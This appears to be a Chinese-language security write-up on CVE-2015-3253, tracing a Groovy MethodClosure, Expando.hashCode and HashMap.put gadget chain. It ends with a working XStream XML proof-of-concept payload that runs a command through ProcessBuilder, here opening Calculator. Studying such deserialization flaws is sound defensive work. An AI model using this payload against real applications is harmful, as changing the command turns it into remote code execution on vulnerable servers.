http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253
影响版本(1.7.0~2.4.3)
调用链分析 MethodClosure
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class MethodClosure extends Closure { private String method; public MethodClosure(Object owner, String method) { super(owner); this.method = method; Class clazz = owner.getClass() == Class.class ? (Class)owner : owner.getClass(); this.maximumNumberOfParameters = 0; this.parameterTypes = new Class[0]; List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method); Iterator i$ = methods.iterator(); while(i$.hasNext()) { MetaMethod m = (MetaMethod)i$.next(); if (m.getParameterTypes().length > this.maximumNumberOfParameters) { Class[] pt = m.getNativeParameterTypes(); this.maximumNumberOfParameters = pt.length; this.parameterTypes = pt; } } } public String getMethod() { return this.method; } protected Object doCall(Object arguments) { return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments); }
doCall()作用应该是执行构件好的对象(this.getOwner())的方法(this.method)
invokeMethod
1 2 3 4 5 6 7 8 9 10 11 12 13 public static Object invokeMethod(Object object, String methodName, Object arguments) { if (object == null) { object = NullObject.getNullObject(); } if (object instanceof Class) { Class theClass = (Class)object; MetaClass metaClass = metaRegistry.getMetaClass(theClass); return metaClass.invokeStaticMethod(object, methodName, asArray(arguments)); } else { return !(object instanceof GroovyObject) ? invokePojoMethod(object, methodName, arguments) : invokePogoMethod(object, methodName, arguments); } }
调用指定对象的指定方法 所以可以利用这个方法来执行命令
1 MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start").call();
通过java.lang.ProcessBuilder对象的start方法执行open命令
根据上边的分析,MethodClosure.call() == "command".execute()
找到了存在缺陷的方法,接下来就要看有哪些地方调用了这个方法 断点调试call()可以看到被hashcode()调用了
1 2 3 4 5 6 7 8 9 10 11 public int hashCode() { Object method = this.getProperties().get("hashCode"); if (method != null && method instanceof Closure) { Closure closure = (Closure)method; closure.setDelegate(this); Integer ret = (Integer)closure.call(); return ret.intValue(); } else { return super.hashCode(); } }
hashCode的功能和特性
如果两个对象相同,那么它们的hashCode 值一定要相同
如果两个对象的hashCode相同,它们并不一定相同
上面说的对象相同指的是用eqauls方法比较
所以当两个对象进行比较时,会调用hashcode和eqauls,如果结果一致则相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public V put(K key, V value) { if (table == EMPTY_TABLE) { inflateTable(threshold); } if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; }
put方法是用来向HashMap中添加新的元素,从put方法的具体实现可知,会先调用hashCode方法得到该元素的hashCode值,然后查看table中是否存在该hashCode值,如果存在则调用equals方法重新确定是否存在该元素,如果存在,则更新value值,否则将新的元素添加到HashMap中
所以当把我们构造的代码添加进去时,put就会调用hashcode进行比较,进而执行代码
1 2 3 public void setProperty(String property, Object newValue) { this.getProperties().put(property, newValue); }
Object method = this.getProperties().get("hashCode")
自定义hashcode,调用setProperty可以绑定hashcode属性 closure.call()注定了hashCode必须是Closure或者其子类才能最终调用call函数,MethodClosure类恰好是Closure的子类
然后通过调用hashcode的put方法即可执行构造的代码
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando" reference="../../../.."/> <owner class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>/Applications/Calculator.app</string> </command> <redirectErrorStream>false</redirectErrorStream> </owner> <resolveStrategy>0</resolveStrategy> <directive>0</directive> <parameterTypes/> <maximumNumberOfParameters>0</maximumNumberOfParameters> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map>
参考:https://www.iswin.org/2016/02/27/Xstream-Deserializable-Vulnerablity-And-Groovy-CVE-2015-3253/ http://avfisher.win/archives/tag/groovy